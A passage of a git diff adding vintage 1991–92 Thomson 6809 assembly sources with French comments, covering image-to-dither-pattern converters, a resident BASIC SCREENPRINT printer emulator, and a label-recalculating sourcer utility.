+ CLRB
+ ORCC #$50
+TOMI0 LDA #$07
+ STA ,S
+ BSR ROUT1
+ LDX #$0060
+ STX <$C6
+ LDA #$A2
+ STA <$C5
+ CLRA
+ BSR ROUT2
+TOMI1 LSRB
+ BCC TOMI2
+ BSR ROUT1
+ INCA
+ BRA TOMI3
+TOMI2 BSR ROUT2
+TOMI3 DEC ,S
+ BNE TOMI1
+ BITA #$01
+ BNE TOMI4
+ BSR ROUT2
+ BRA TOMI5
+TOMI4 BSR ROUT1
+TOMI5 LDB ,U+
+ BPL TOMI0
+ CMPB #$FF
+ BNE FINAF
+ LDB ,U+
+ BRA TOMI0
+
+ROUT1 PSHS X,A
+ LDA <$C5
+ ORA #$80
+ BRA TOMI6
+ROUT2 PSHS X,A
+ LDA <$C5
+ ANDA #$7F
+ BRA TOMI6
+TOMI6 STA <$C5
+ LDX #$0061
+TEMP2 LEAX -1,X
+ BNE TEMP2
+ PULS A,X,PC
+
+
+* sauvegarde
+
+SAVE PSHS A,B,CC,DP,X,Y,U
+ LDX #FILE
+ LDA ,X++
+ SUBA #$30
+ STA $6049
+ LDU #$624B
+ LDD #$2003
+ STD ,U++
+ LDA #$FF
+ STA ,U++
+ LDB #8
+COPS LDA ,X+
+ STA ,U+
+ DECB
+ BNE COPS
+ LDD #$5445 'TE'
+ STD ,U++
+ LDD #$4C09 'L'+8 octets
+COPC STA ,U+
+ LDA ,X+
+ DECB
+ BNE COPC
+
+ LDB #3 CODE DE OPEN
+ JSR $EC0C OUVERTURE
+ LDX #$A001 #FICHIER
+COPEN0 LDA ,X+
+ BMI QUITTE
+ LDB #4
+ JSR $EC0C
+ BRA COPEN0
+
+QUITTE LDB #6 CLOSE
+ JSR $EC0C
+FIN PULS A,B,DP,CC,X,Y,U,PC
+
+TABLE FCB 0,4,1,5,2,6,3,7
+TABCOL FCB 0,16,32,48,8,24,40,56
+ FCB 0,2,4,6,1,3,5,7
+
+COUL FCB 0
+COMPTO FCB 0
+COMPTL FCB 0
+TAILLE FCB 0
+
+PALET RMB 32
+TABGRI RMB 16
+PALGRI FDB 0,546,1092,1638,2184,2730
+ FDB 3276,3822,4095,4095,4095
+ FDB 4095,4095,4095,4095,4095
+PALORI FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931,938
+ FDB 2611,2618,3815,123
+TYPE FCB 0
+
+CORREC FDB 0
+FLAGAF FCB 0
+FILE FCC #4: #
+COMMEN FCC #PhotoTEL#
+
+ END
diff --git "a/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA0.ASM" "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA0.ASM"
new file mode 100644
index 0000000..23c62c9
--- /dev/null
+++ "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA0.ASM"
@@ -0,0 +1,318 @@
+*************** MAP>TRA0 ***************
+* *
+* TRANSCODEUR D'IMAGES TO.MAP > TRAMES *
+* *
+* par Michel SAINT-BRIANT * 15/03/1992 *
+* *
+* (c) A.S.C.I. Copyright 1992 *
+* *
+****************************************
+
+* TRANSCODAGE D'UNE IMAGE THOMSON EN UNE
+* IMAGE TYPE TO7/70 40 COL DE 16 TRAMES
+* CHOISIES PARMI 65
+
+ ORG $9800
+
+ PSHS A,B,CC,DP,X,Y,U
+
+ LDA $605F TYPE DE CONSOLE
+ LSLA
+ STA TYPE
+
+* ETABLISSEMENT DE LA TABLE DES GRIS
+
+ LDU #PALET+32
+ LDA #15
+LIPAL LDX #$FFFF
+ LDY #0
+ JSR $EC00
+ STX ,--U
+ DECA
+ BPL LIPAL
+
+ LDX #PALET
+ LDY #TABGRI
+NOUPAL LDD ,X
+ BITA #$10
+ BNE CALGRI
+ COMA
+ COMB
+ STD ,X
+CALGRI CLRA
+ ANDB #$F0
+ LSRB
+ LSRB
+ TFR D,U
+ LDD ,X++
+ ANDA #$0F
+ LEAU A,U
+ ANDB #$0F
+ LSLB
+ LEAU B,U
+ TFR U,D
+ STB ,Y+
+ CMPX #PALET+32
+ BLO NOUPAL
+
+* CALCUL DES TRAMES EN FONCTION DE L'IN-
+* TENSITE LUMINEUSE DANS TABGRI
+* 16 TRAMES CHOISIES PARMI 65
+
+ LDU #TABGRI
+ LDX #TRAME
+ LDY #TRAINI
+ LDB #16
+NOUTRA LDA #105
+ SUBA ,U+
+ PSHS A,B,X,U
+ LDB #158
+ MUL
+ ANDA #$7C
+ LEAU A,Y
+ LDB #4
+TRA0 LDA ,U
+ LSLA
+ LSLA
+ LSLA
+ LSLA
+ ORA ,U+
+ STA 4,X
+ STA ,X+
+ DECB
+ BNE TRA0
+ LDA ,S
+ ANDA #3
+ BEQ FINTRA
+ LDB #3
+TRA1 LDA B,U
+ LSLA
+ LSLA
+ LSLA
+ LSLA
+ ORA B,X
+ STA B,X
+ DECB
+ BPL TRA1
+ LEAX -4,X
+ LDA ,S
+ ANDA #3
+ CMPA #2
+ BLO FINTRA
+ LDB #3
+TRA2 LDA B,U
+ ORA B,X
+ STA B,X
+ DECB
+ BPL TRA2
+ LEAX 4,X
+ LDA ,S
+ ANDA #3
+ CMPA #3
+ BLO FINTRA
+ LDB #3
+TRA3 LDA B,U
+ ORA B,X
+ STA B,X
+ DECB
+ BPL TRA3
+FINTRA PULS A,B,X,U
+ LEAX 8,X
+ DECB
+ BNE NOUTRA
+
+* RECOPIE DE L'IMAGE EN $A000/$DFFF
+* EN ENTRELACE
+
+ LDB #$14
+ JSR $E803
+ LDA $E7C3
+ ORA #$01
+ STA $E7C3
+ LDX #$4000
+ LDY #$A000
+COPEC0 LDD ,X++
+ STA ,Y++
+ STB ,Y++
+ CMPX #$5F40
+ BLO COPEC0
+ LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDX #$4000
+ LDY #$A001
+COPEC1 LDD ,X++
+ STA ,Y++
+ STB ,Y++
+ CMPX #$5F40
+ BLO COPEC1
+
+ LDX #$A000
+ LDY #TRAME
+ LDD #$2807
+ STA COLON
+ STB LIGNE
+
+NEWOCT LDD #$8000
+ PSHS B,A
+ TST TYPE
+ LBEQ MODTO7
+ BMI MODB16
+
+MODBM4 CLRA
+ ASL ,X
+ ROLA
+ ASL 1,X
+ ROLA
+ LSLA
+ LSLA
+ LSLA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA ,S
+ ORA 1,S
+ STA 1,S
+ LSR ,S
+ BNE MODBM4
+ LBRA FINMOD
+
+MODTO7 LDA 1,X
+ BITA #$40
+ BEQ OCTET0
+ ANDA #$38
+ BRA OCTET1
+OCTET0 ORA #$40
+OCTET1 ANDA #$78
+ STA FORM0+1
+ LDA 1,X
+ ANDA #$07
+ TST 1,X
+ BMI OCTET2
+ ORA #$08
+OCTET2 LSLA
+ LSLA
+ LSLA
+ STA FOND0+1
+FORM0 LDA #$00
+ ASL ,X
+ BCS POINT0
+FOND0 LDA #$00
+POINT0 LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA ,S
+ ORA 1,S
+ STA 1,S
+ LSR ,S
+ BNE FORM0
+ BRA FINMOD
+
+MODB16 LDA ,X
+ ANDA #$F0
+ LSRA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA #$C0
+ ORA 1,S
+ STA 1,S
+ LDA ,X
+ ANDA #$0F
+ LSLA
+ LSLA
+ LSLA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA #$30
+ ORA 1,S
+ STA 1,S
+ LDA 1,X
+ ANDA #$F0
+ LSRA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA #$0C
+ ORA 1,S
+ STA 1,S
+ LDA 1,X
+ ANDA #$0F
+ LSLA
+ LSLA
+ LSLA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA #$03
+ ORA 1,S
+
+FINMOD STA ,X++
+ PULS A,B
+ CMPX #$DE80
+ BHS AFFTO
+ DEC COLON
+ LBNE NEWOCT
+ LDA #$28
+ STA COLON
+ DEC LIGNE
+ LBPL NEWOCT
+ LDA #7
+ STA LIGNE
+ LBRA NEWOCT
+
+AFFTO LDB #$1B
+ JSR $E803
+ LDB #$5A
+ JSR $E803
+ LDB #$1B
+ JSR $E803
+ LDB #$40
+ JSR $E803
+ LDB #$1B
+ JSR $E803
+ LDB #$57
+ JSR $E803
+ LDB #$0C
+ JSR $E803
+ LDB #$14
+ JSR $E803
+ LDX #PALORI
+ LDA #$FF
+ JSR $EC00
+ LDX #$A000
+ LDY #$4000
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+RESULT LDA ,X++
+ LDB ,X++
+ STD ,Y++
+ CMPX #$DE80
+ BLO RESULT
+
+FIN PULS A,B,DP,CC,X,Y,U,PC
+
+LIGNE FCB 0
+COLON FCB 0
+
+PALET RMB 32
+TABGRI RMB 16
+
+PALORI FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931,938
+ FDB 2611,2618,3815,123
+TYPE FCB 0
+TRAINI FCB 0,0,0,0,0,0,8,0
+ FCB 2,0,8,0,2,0,10,0
+ FCB 10,0,10,0,10,0,10,4
+ FCB 10,1,10,4,10,1,10,5
+ FCB 10,5,10,5,10,5,14,5
+ FCB 11,5,14,5,11,5,15,5
+ FCB 15,5,15,5,15,5,15,13
+ FCB 15,7,15,13,15,7,15,15
+ FCB 15,15,15,15
+TRAME RMB 16*8
+
+ END
diff --git "a/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA1.ASM" "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA1.ASM"
new file mode 100644
index 0000000..10b8493
--- /dev/null
+++ "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA1.ASM"
@@ -0,0 +1,367 @@
+**************** MAP>TRA1 **************
+* *
+* TRANSCODEUR D'IMAGES TO.MAP > TRAMES *
+* *
+* par Michel SAINT-BRIANT * 15/03/1992 *
+* *
+* (c) A.S.C.I. Copyright 1992 *
+* *
+****************************************
+
+* TRANSCODAGE D'UNE IMAGE THOMSON EN UNE
+* IMAGE DE 80 COLONNES EN 16 TRAMES /65
+
+ ORG $9800
+
+ PSHS A,B,CC,DP,X,Y,U
+
+ LDA $605F TYPE DE CONSOLE
+ LSLA
+ STA TYPE
+
+* ETABLISSEMENT DE LA TABLE DES GRIS
+
+ LDU #PALET+32
+ LDA #15
+LIPAL LDX #$FFFF
+ LDY #0
+ JSR $EC00
+ STX ,--U
+ DECA
+ BPL LIPAL
+
+ LDX #PALET
+ LDY #TABGRI
+NOUPAL LDD ,X
+ BITA #$10
+ BNE CALGRI
+ COMA
+ COMB
+ STD ,X
+CALGRI CLRA
+ ANDB #$F0
+ LSRB
+ LSRB
+ TFR D,U
+ LDD ,X++
+ ANDA #$0F
+ LEAU A,U
+ ANDB #$0F
+ LSLB
+ LEAU B,U
+ TFR U,D
+ STB ,Y+
+ CMPX #PALET+32
+ BLO NOUPAL
+
+* CALCUL DES TRAMES EN FONCTION DE L'IN-
+* TENSITE LUMINEUSE DANS TABGRI (16/65)
+
+ LDU #TABGRI
+ LDX #TRAME
+ LDY #TRAINI
+ LDB #16
+NOUTRA LDA #105
+ SUBA ,U+
+ PSHS A,B,X,U
+ LDB #158
+ MUL
+ ANDA #$7C
+ LEAU A,Y
+ LDB #4
+TRA0 LDA ,U
+ LSLA
+ LSLA
+ LSLA
+ LSLA
+ ORA ,U+
+ STA 4,X
+ STA ,X+
+ DECB
+ BNE TRA0
+ LDA ,S
+ ANDA #3
+ BEQ FINTRA
+ LDB #3
+TRA1 LDA B,U
+ LSLA
+ LSLA
+ LSLA
+ LSLA
+ ORA B,X
+ STA B,X
+ DECB
+ BPL TRA1
+ LEAX -4,X
+ LDA ,S
+ ANDA #3
+ CMPA #2
+ BLO FINTRA
+ LDB #3
+TRA2 LDA B,U
+ ORA B,X
+ STA B,X
+ DECB
+ BPL TRA2
+ LEAX 4,X
+ LDA ,S
+ ANDA #3
+ CMPA #3
+ BLO FINTRA
+ LDB #3
+TRA3 LDA B,U
+ ORA B,X
+ STA B,X
+ DECB
+ BPL TRA3
+FINTRA PULS A,B,X,U
+ LEAX 8,X
+ DECB
+ BNE NOUTRA
+
+* RECOPIE DE L'IMAGE EN $A000/$DFFF
+* EN ENTRELACE
+
+ LDB #$14
+ JSR $E803
+ LDA $E7C3
+ ORA #$01
+ STA $E7C3
+ LDX #$4000
+ LDY #$A000
+COPEC0 LDD ,X++
+ STA ,Y++
+ STB ,Y++
+ CMPX #$5F40
+ BLO COPEC0
+ LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDX #$4000
+ LDY #$A001
+COPEC1 LDD ,X++
+ STA ,Y++
+ STB ,Y++
+ CMPX #$5F40
+ BLO COPEC1
+
+ LDX #$A000
+ LDY #TRAME
+ LDD #$2807
+ STA COLON
+ STB LIGNE
+
+NEWOCT LDD #$0000
+ PSHS B,A
+ LDA #$C0
+ STA FILTRE
+ TST TYPE
+ LBEQ MODTO7
+ LBMI MODB16
+
+MODBM4 CLRA
+ ASL ,X
+ ROLA
+ ASL 1,X
+ ROLA
+ LSLA
+ LSLA
+ LSLA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA FILTRE
+ ORA ,S
+ STA ,S
+ LSR FILTRE
+ LSR FILTRE
+ BNE MODBM4
+ LDA #$C0
+ STA FILTRE
+MODBM5 CLRA
+ ASL ,X
+ ROLA
+ ASL 1,X
+ ROLA
+ LSLA
+ LSLA
+ LSLA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA FILTRE
+ ORA 1,S
+ STA 1,S
+ LSR FILTRE
+ LSR FILTRE
+ BNE MODBM5
+ LBRA FINMOD
+
+MODTO7 LDA 1,X
+ BITA #$40
+ BEQ OCTET0
+ ANDA #$38
+ BRA OCTET1
+OCTET0 ORA #$40
+OCTET1 ANDA #$78
+ STA FORM0+1
+ STA FORM1+1
+ LDA 1,X
+ ANDA #$07
+ TST 1,X
+ BMI OCTET2
+ ORA #$08
+OCTET2 LSLA
+ LSLA
+ LSLA
+ STA FOND0+1
+ STA FOND1+1
+FORM0 LDA #$00
+ ASL ,X
+ BCS POINT0
+FOND0 LDA #$00
+POINT0 LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA FILTRE
+ ORA ,S
+ STA ,S
+ LSR FILTRE
+ LSR FILTRE
+ BNE FORM0
+ LDA #$C0
+ STA FILTRE
+FORM1 LDA #$00
+ ASL ,X
+ BCS POINT1
+FOND1 LDA #$00
+POINT1 LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA FILTRE
+ ORA 1,S
+ STA 1,S
+ LSR FILTRE
+ LSR FILTRE
+ BNE FORM1
+ BRA FINMOD
+
+MODB16 LDA ,X
+ ANDA #$F0
+ LSRA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA #$F0
+ ORA ,S
+ STA ,S
+ LDA ,X
+ ANDA #$0F
+ LSLA
+ LSLA
+ LSLA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA #$0F
+ ORA ,S
+ STA ,S
+ LDA 1,X
+ ANDA #$F0
+ LSRA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA #$F0
+ ORA 1,S
+ STA 1,S
+ LDA 1,X
+ ANDA #$0F
+ LSLA
+ LSLA
+ LSLA
+ LEAU A,Y
+ LDA LIGNE
+ LDA A,U
+ ANDA #$0F
+ ORA 1,S
+ STA 1,S
+
+FINMOD PULS A,B
+ STD ,X++
+ CMPX #$DE80
+ BHS AFFTO
+ DEC COLON
+ LBNE NEWOCT
+ LDA #$28
+ STA COLON
+ DEC LIGNE
+ LBPL NEWOCT
+ LDA #7
+ STA LIGNE
+ LBRA NEWOCT
+
+AFFTO LDB #$1B
+ JSR $E803
+ LDB #$5B
+ JSR $E803
+ LDB #$1B
+ JSR $E803
+ LDB #$40
+ JSR $E803
+ LDB #$1B
+ JSR $E803
+ LDB #$57
+ JSR $E803
+ LDB #$0C
+ JSR $E803
+ LDB #$14
+ JSR $E803
+ LDX #PALORI
+ LDA #$FF
+ JSR $EC00
+ LDX #$A001
+ LDY #$4000
+ LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+RESULB LDA ,X++
+ LDB ,X++
+ STD ,Y++
+ CMPX #$DE80
+ BLO RESULB
+ LDX #$A000
+ LDY #$4000
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+RESULA LDA ,X++
+ LDB ,X++
+ STD ,Y++
+ CMPX #$DE80
+ BLO RESULA
+
+FIN PULS A,B,DP,CC,X,Y,U,PC
+
+LIGNE FCB 0
+COLON FCB 0
+FILTRE FCB 0
+PALET RMB 32
+TABGRI RMB 16
+
+PALORI FDB 4095,0,240,255,3840,3855
+ FDB 4080,4095,1911,826,931,938
+ FDB 2611,2618,3815,123
+TYPE FCB 0
+TRAINI FCB 0,0,0,0,0,0,8,0
+ FCB 2,0,8,0,2,0,10,0
+ FCB 10,0,10,0,10,0,10,4
+ FCB 10,1,10,4,10,1,10,5
+ FCB 10,5,10,5,10,5,14,5
+ FCB 11,5,14,5,11,5,15,5
+ FCB 15,5,15,5,15,5,15,13
+ FCB 15,7,15,13,15,7,15,15
+ FCB 15,15,15,15
+TRAME RMB 16*8
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/SCRPRN2.ASM b/code/3rdparty/sources3-lambinet/SCRPRN2.ASM
new file mode 100644
index 0000000..bceea74
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SCRPRN2.ASM
@@ -0,0 +1,177 @@
+***************************************
+
+** ** *** ** ** * * *** *** * * * ***
+* * * * * * ** * * * * * ** * *
+** * ** ** ** * ** *** ** * * ** *
+ * * * * * * * * * * * * * * *
+** ** * * ** ** * * * * * * * * *
+
+***************************************
+* *
+* Par Michel SAINT-BRIANT / ASCI 1991 *
+* *
+***************************************
+
+* Cette petite routine installée en
+* résident permet à tout programme BASIC
+* 512 d'émuler une imprimante compatible
+* IBM Proprinter (toutes les imprimantes
+* pour ordinateur de type PC.
+
+****************************************
+* *
+* Ecrit spécialement pour les lecteurs *
+* *
+* de MICRONEWS (NANCY le 10/10/91) *
+* *
+****************************************
+
+ ORG $7800
+
+************** ^^^^ ****************
+* En fonction de certains programmes
+* qui utilisent la RAM en $7800 on
+* peut modifier cette valeur (jusqu'à
+* $9C00/$9D00 -> Attention à la pile!)
+************************************
+
+************************************
+* Déroutage de l'analyse des instruc-
+* tions BASIC. On cherche les codes
+* $FF,$A4,$AB correspondant à SCREEN-
+* PRINT et on les remplacera par un
+* TROFF inoffensif de code $91 après
+* avoir incrémenté de 2 le pointeur d'
+* instructions BASIC en $61C7.
+************************************
+
+
+INTER PSHS CC,X
+ CMPA #$FF Ordre BASIC 2ème
+ BNE QUIT \série
+ LDX $61C7
+ LDX 1,X
+ CMPX #$A4AB si=SCREENPRINT
+ BEQ SCRPRT alors>SCRPRT
+QUIT PULS CC,X,PC sinon on sort.
+
+SCRPRT LDX $61C7 pointeur=
+ LEAX 2,X pointeur+2
+ STX $61C7
+ LDA #$91 En sortie on va
+ PSHS DP,B,A,Y,U \simuler un
+ LDX #$4078 \TROFF
+ LDB #$14 on éteint le cur-
+ JSR $E803 seur (pollution!)
+ LDD #$1B40 <-Ajouter ici d'
+ LBSR PUTINT éventuels codes
+NEWLIN ORCC #$50 de commandes pour
+ LDA #$28 impression spéci-
+ STA -15,S ales (dble frappe
+ LDD #$3318 condensé,etc...)
+ LBSR PUTESC
+ TST $605F est-ce en 40 col?
+ BEQ CONS0
+CONS1 LDD #$4C80 $4C est le code
+ LBSR PUTESC pour le graphisme
+ LDB #$2 en double densité
+ LBSR PUTCPR suivi de longueur
+ BRA NEWCAR ($280=640 octets)
+CONS0 LDD #$4B40 $4B est le code
+ LBSR PUTESC pour le graphisme
+ LDB #$01 en simple densité
+ LBSR PUTCPR suivi de longueur
+NEWCAR LDA $E7C3 ($140=320 octets)
+ ORA #$01
+ STA $E7C3 <- RAMA
+CAR80 LDA -$78,X lit le caractère
+ LDB -$50,X (les 8 lignes et
+ STD -14,S les stocke en
+ LDA -$28,X dessous de la pi-
+ LDB ,X le en sécurité)
+ STD -12,S
+ LDA $28,X
+ LDB $50,X
+ STD -10,S
+ LDA $78,X
+ LDB $A0,X
+ STD -8,S
+ LDA #$08 inversion de la
+INVMAT ROL -14,S matrice 8x8 du
+ ROLB caractère-écran
+ ROL -13,S pour en faire
+ ROLB la matrice 8x8
+ ROL -12,S du caractère-
+ ROLB imprimante
+ ROL -11,S >> C >>>
+ ROLB / \
+ ROL -10,S / \
+ ROLB ROL= <-xxxxxxxx-<
+ ROL -9,S <<<<<<<<
+ ROLB
+ ROL -8,S rotation à gauche
+ ROLB le carry (C) va en
+ ROL -7,S b0,b0 en b1,b1 >b2
+ ROLB etc...b6>b7 et b7
+ BSR PUTCPR va dans le carry C
+ DECA
+ BNE INVMAT
+ LDA $E7C3 est-on sur RAMA?
+ BITA #$01
+ BEQ TESTFL test de fin de li-
+ TST $605F test mode \gne.
+ BEQ TESTFL si 80 col alors
+ ANDA #$FE on passe en RAMB
+ STA $E7C3 et on imprime le
+ BRA CAR80 caractère suivant.
+TESTFL LEAX 1,X
+ DEC -15,S jusqu'en fin de
+ BNE NEWCAR ligne
+ LDD #$0A0D code de saut de
+ BSR PUTINT \ligne
+ LEAX $0118,X
+ CMPX #$5FB8 jusqu'en fin d'
+ LBLO NEWLIN écran
+FIN LDD #$1B40 réinitialisation
+ BSR PUTINT de l'imprimante.
+ PULS U,Y,A,B,DP
+ PULS X,CC,PC on sort...
+
+PUTESC PSHS B,A impression d'un
+ LDB #$1B code ESC ($1B) et
+ BSR PUTCPR de 2 autres codes.
+ PULS A,B
+PUTINT PSHS B impression de deux
+ TFR A,B codes (A puis B)
+ BSR PUTCPR
+ PULS B
+PUTCPR PSHS A impression d'un
+BOUCLE LDA $E7C3 Attente \caractere
+ ANDA #$40 passage du bit 6
+ BNE BOUCLE de $E7C3 à 0
+ TFR B,A
+ ANDA #$FE les bits 1 à 7 de
+ ANDB #$01 l'octet sont mis
+ STD -2,S de 1 à 7 en $E7C8
+ LDD $E7C8 et le bit 0 dans
+ ANDA #$01 le bit 0 de $E7C9.
+ ANDB #$FC
+ ADDD -2,S
+ STD $E7C8
+ ORB #$02 signal d'envoi de
+ STB $E7C9 caractère (bit1=1)
+ PULS A,PC
+
+********************************
+* Initialisation *
+********************************
+
+INIT PSHS A,X on installe la
+ LDX #INTER routine sur le
+ STX $67C1 déroutage d'analy-
+ LDA #$7E se d'instructions
+ STA $67C0 BASIC.
+ PULS A,X,PC
+
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/SOURCE30.SAP b/code/3rdparty/sources3-lambinet/SOURCE30.SAP
new file mode 100755
index 0000000..ae346f2
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SOURCE30.SAP
Binary files differ
diff --git a/code/3rdparty/sources3-lambinet/SOURCE31.SAP b/code/3rdparty/sources3-lambinet/SOURCE31.SAP
new file mode 100755
index 0000000..14009bb
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SOURCE31.SAP
Binary files differ
diff --git a/code/3rdparty/sources3-lambinet/SOURCER2.ASM b/code/3rdparty/sources3-lambinet/SOURCER2.ASM
new file mode 100644
index 0000000..afb22bc
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SOURCER2.ASM
@@ -0,0 +1,253 @@
+
+****************************************
+*SOURCER II (RECALCUL DES ETIQUETTES ***
+****************************************
+
+
+
+
+ ORG $8000
+
+ PSHS A,B,CC,DP,X,Y,U
+G LDX #FILE
+ LDU #$624F
+ LDB #11
+COP LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COP
+ LDD #$0440
+ STA $6049 RAMDISK
+ STB $624B ACCES DIRECT
+ LDX #35 LONGUEUR DES (41)
+ STX $6247 ENREGISTREMENTS
+ LDB #3 CODE DE OPEN
+ JSR $EC0C OUVERTURE
+ LDX #0
+ STX PTRP POINTEUR PRINCIPAL
+ LDX #BUFFER DECLARATION D'UN
+ STX $62AA BUFFER
+
+*ANALYSE D'UNE NOUVELLE LIGNE
+
+NEWLIN LDX PTRP
+ LEAX 1,X
+ STX PTRP
+ CMPX FINPTR DERNIER ENREGISTR.
+ LBHI FIN
+ CLR EXIST FLAG D'EXISTENCE
+ CLR $6249 GET
+ LDB #7
+ JSR $EC0C
+ LDX #BUFFER
+ LDY #NUMERO
+ LDU #NBHEX0
+ LDA ,X+
+ STA ,U+
+ CMPA #$24 SI CE N'EST PAS UN
+ BNE NEWLIN $ ->NOUVELLE LIGNE
+ LDA ,X+
+ SUBA #$30 SI MOINS DE ZERO
+ BMI NEWLIN --> PAS BON
+ CMPA #$A SI MOINS DE 10
+ BLO CHIF1 --> ON PREND
+ CMPA #$11 SI >9 ET <A
+ BLO NEWLIN --> PAS BON
+ SUBA #7
+ CMPA #15 SI PLUS DE 15
+ BHI NEWLIN --> PAS BON
+CHIF1 ASLA
+ ASLA
+ ASLA
+ ASLA
+ STA ,Y
+ LDA ,X+
+ STA ,U+
+ SUBA #$30
+ BMI NEWLIN
+ CMPA #$A
+ BLO CHIF2
+ CMPA #$11
+ BLO NEWLIN
+ SUBA #7
+ CMPA #15
+ BHI NEWLIN
+CHIF2 ORA ,Y
+ STA ,Y
+ LDA ,X+
+ STA ,U+
+ CMPA #$24
+ BNE NEWLIN
+ LDA ,X+
+ SUBA #$30
+ BMI NEWLIN
+ CMPA #$A
+ BLO CHIF3
+ CMPA #$11
+ BLO NEWLIN
+ SUBA #7
+ CMPA #15
+ BHI NEWLIN
+CHIF3 ASLA
+ ASLA
+ ASLA
+ ASLA
+ STA 1,Y
+ LDA ,X+
+ STA ,U+
+ SUBA #$30
+ LBMI NEWLIN
+ CMPA #$A
+ BLO CHIF4
+ CMPA #$11
+ LBLO NEWLIN
+ SUBA #7
+ CMPA #15
+ LBHI NEWLIN
+CHIF4 LDX #NUMERO
+ ORA 1,Y
+ STA 1,Y
+NWNBRE LDX ,Y
+ LEAX 1,X
+ STX ,Y
+ CLRB
+NWDIGI LDA B,Y
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ ADDA #$30
+ CMPA #$3A
+ BLO HEX
+ ADDA #7
+HEX STA ,U+
+ INCB
+ CMPB #4
+ BLO NWDIGI
+ CMPU #ETIQ
+ BLO NWNBRE
+ LDX #0
+ STX PTRS
+
+*RECHERCHE DU NBRE 'NBHEXA' DANS LES
+*AUTRES LIGNES
+
+AUTLIN LDX PTRS
+ LEAX 1,X
+ STX PTRS
+ CMPX FINPTR DERNIER ENREGISTR.
+ BHI FINLIN
+* CLR $6249 GET
+ LDB #7
+ JSR $EC0C
+ LDX #BUFFER+19
+ LDU #NBHEX3+3
+ LDB #3
+ LDA ,X
+TYPE CMPA ,U
+ BEQ TEST
+ LEAU 4,U
+ DECB
+ BPL TYPE
+ BRA NONEGA
+TEST LDA ,-X
+ CMPA ,-U
+ BNE NONEGA
+ CMPX #BUFFER+16
+ BHI TEST
+ STA EXIST
+ LDU #ETIQ
+ TSTB SI B=0 NBRE
+ BNE DECALE SINON NBRE+B
+ LDB #5
+COP0 LDA ,U+
+ STA ,X+
+ DECB
+ BNE COP0
+ BRA RECRIT
+DECALE PSHS B
+ LDD #$3D05 '='
+ LDX #BUFFER+22 (PUIS29)
+ STA ,X+
+COP1 LDA ,U+
+ STA ,X+
+ DECB
+ BNE COP1
+ LDA #$2B '+'
+ PULS B
+ ADDB #$30
+ STD ,X
+RECRIT LDD #$FF07
+ STA $6249
+ LDX PTRS
+ JSR $EC0C
+NONEGA LBRA AUTLIN
+
+* EN FIN DE LIGNE ON TESTE LE FLAG
+
+FINLIN TST EXIST
+ BEQ REPART
+ LDX PTRP
+ LDD #$0007
+ STA $6249
+ JSR $EC0C
+ LDX #BUFFER
+ LDU #ETIQ
+ LDB #5
+COP2 LDA ,U+
+ STA ,X+
+ DECB
+ BNE COP2
+ LDX PTRP
+ LDD #$FF07
+ STA $6249
+ JSR $EC0C
+ LDD ETIQ+3
+ ADDB PAS+1
+ STB ETIQ+4
+ CMPB #$3A
+ BLO RETIQ1
+ SUBB #10
+ STB ETIQ+4
+ INCA
+RETIQ1 ADDA PAS
+ STA ETIQ+3
+ CMPA #$3A
+ BLO REPART
+ SUBA #10
+ STA ETIQ+3
+ LDD ETIQ+1
+ INCB
+ CMPB #$3A
+ BLO RETIQ2
+ SUBB #10
+ INCA
+ CMPA #$3A
+ BEQ TOOBIG
+RETIQ2 STD ETIQ+1
+REPART LBRA NEWLIN
+
+TOOBIG
+
+
+FIN LDB #6
+ JSR $EC0C
+K PULS A,B,DP,CC,X,Y,U,PC
+
+PTRP FDB 0
+PTRS FDB 0
+FINPTR FDB 0
+NUMERO FDB 0
+EXIST FCB 0
+NBHEX0 FCC #ABCD#
+NBHEX1 FCC #ABCD#
+NBHEX2 FCC #ABCD#
+NBHEX3 FCC #ABCD#
+ETIQ FCC #E0000#
+PAS FCB 1,0
+FILE FCC #ESSAI ASM#
+BUFFER RMB 50
+
+
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/SOURCER3.ASM b/code/3rdparty/sources3-lambinet/SOURCER3.ASM
new file mode 100644
index 0000000..db533cc
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SOURCER3.ASM
@@ -0,0 +1,605 @@
+****************************************
+* *
+* SOURCER pour CODEVIEW version 3.1 *
+* *
+* par Michel SAINT-BRIANT * 28/02/1992 *
+* *
+* (c) A.S.C.I. Copyright 1992 *
+* *
+****************************************
+
+* cette routine permet de recalculer les
+* adresses depuis des données mémorisées
+* sous CODEVIEW et sort le résultat dans
+* un fichier .ASM compacté directement
